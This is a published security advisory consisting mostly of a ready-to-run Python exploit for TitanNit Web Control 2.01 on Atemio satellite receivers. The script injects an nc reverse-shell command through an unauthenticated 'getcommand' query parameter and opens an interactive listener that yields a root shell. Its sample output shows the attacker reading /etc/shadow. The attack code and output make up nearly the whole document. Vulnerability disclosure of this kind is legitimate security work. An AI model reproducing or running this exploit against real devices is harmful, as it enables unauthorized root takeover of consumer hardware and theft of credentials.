TitanNit Web Control 2.01 / Atemio 7600 Root Remote Command Execution

#!/usr/bin/env python# -*- coding: utf-8 -*-### TitanNit Web Control 2.01 / Atemio 7600 Root Remote Code Execution### Vendor: AAF Digital HD Forum | Atelmo GmbH# Product web page: http://www.aaf-digital.info | https://www.atemio.de# Affected version: Firmware <=2.01## Summary: The Atemio AM 520 HD Full HD satellite receiver enables the# reception of digital satellite programs in overwhelming image quality# in both SD and HD ranges. In addition to numerous connections, the small# all-rounder offers a variety of plugins that can be easily installed# thanks to the large flash memory. The TitanNit Linux software used combines# the advantages of the existing E2 and Neutrino systems and is therefore# fast, stable and adaptable.## Desc: The vulnerability in the device enables an unauthorized attacker# to execute system commands with elevated privileges. This exploit is# facilitated through the use of the 'getcommand' query within the application,# allowing the attacker to gain root access.## ========================================================================# _# python titannnit_rce.py 192.168.1.13:20000 192.168.1.8 9999# [*] Starting callback listener child thread# [*] Listening on port 9999# [*] Generating callback payload# [*] Calling# [*] Callback waiting: 3s# [*] ('192.168.1.13', 40943) called back# [*] Rootshell session opened# sh: cannot set terminal process group (1134): Inappropriate ioctl for device# sh: no job control in this shell# sh-5.1# id# <-sh-5.1# id# uid=0(root) gid=0(root)# sh-5.1# cat /etc/shadow | grep root# <-sh-5.1# cat /etc/shadow | grep root# root:$6$TAdBGj2mY***:18729:0:99999:7:::# sh-5.1# exit# [*] OK, bye!## _# # =======================================================================## Tested on: GNU/Linux 2.6.32.71 (STMicroelectronics)#            GNU/Linux 3.14-1.17 (armv7l)#            GNU/Linux 3.14.2 (mips)#            ATEMIO M46506 revision 990#            Atemio 7600 HD STB#            CPU STx7105 Mboard#            titan web server### Vulnerability discovered by Gjoko 'LiquidWorm' Krstic#                             @zeroscience### Advisory ID: ZSL-2023-5801# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2023-5801.php### 16.11.2023#from time import sleepimport threadingimport requestsimport socketimport sysclass RemoteControl:    def __init__(self):        self.timeout = 10        self.target = None        self.callback = None        self.cstop = threading.Event()        self.path = "/query?getcommand=&cmd="        self.lport = None        self.cmd = None    def beacon(self):        self.cmd   = "mkfifo /tmp/j;cat /tmp/j|sh -i 2>&1|nc "        self.cmd  += self.callback + " "        self.cmd  += str(self.lport) + " "        self.cmd  += ">/tmp/j"        self.path += self.cmd        r = requests.get(self.target + self.path)    def slusaj(self):        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)        s.bind(("0.0.0.0", self.lport))        s.listen(1)        print("[*] Listening on port " + str(self.lport))        sleep(1)        try:            conn, addr = s.accept()            print("\n[*]", addr, "called back")            print("[*] Rootshell session opened")            self.cstop.set()        except socket.timeout:            print("[-] Call return timeout\n[!] Check your ports")            conn.close()        while True:            try:                odg = conn.recv(999999).decode()                sys.stdout.write(odg)                command = input()                command += "\n"                if "exit" in command:                    exit(-17)                conn.send(command.encode())                sleep(0.5)                sys.stdout.write("<-" + odg.split("\n")[-1])            except:                print("[*] OK, bye!")                exit(-1)        s.close()    def tajmer(self):        for z in range(self.timeout, 0, -1):            poraka = f"[*] Callback waiting: {z}s"            print(poraka, end='', flush=True)            sys.stdout.flush()            sleep(1)            if self.cstop.is_set():                break            print(' ' * len(poraka), end='\r')        if not self.cstop.is_set():            print("[-] Call return timeout\n[!] Check your ports")            exit(0)        else:            print(end=' ')    def thricer(self):        print("[*] Starting callback listener child thread")        plet1 = threading.Thread(name="ZSL", target=self.slusaj)        plet1.start()        sleep(1)        print("[*] Generating callback payload")        sleep(1)        print("[*] Calling")        plet2 = threading.Thread(name="ZSL", target=self.tajmer)        plet2.start()        self.beacon()        plet1.join()        plet2.join()    def howto(self):        if len(sys.argv) != 4:            self.usage()        else:            self.target = sys.argv[1]            self.callback = sys.argv[2]            self.lport = int(sys.argv[3])            if not self.target.startswith("http"):                self.target = "http://{}".format(self.target)    def dostabesemolk(self):        naslov = """    o===--------------------------------------===o    |                                            |    | TitanNit Web Control Remote Code Execution |    |                ZSL-2023-5801               |    |                                            |    o===--------------------------------------===o                          ||                          ||                          ||                          ||                          ||                          ||                          ||                          ||                          L!                         /_)                        / /L_______________________/ (__)_______________________  (__)                       \_(__)                          ||                          ||                          ||                          ||                          ||                          ||        """        print(naslov)    def usage(self):        self.dostabesemolk()        print("Usage: ./titan.py <target ip> <listen ip> <listen port>")        print("Example: ./titan.py 192.168.1.13:20000 192.168.1.8 9999")        exit(0)    def main(self):        self.howto()        self.thricer()if __name__ == '__main__':    RemoteControl().main()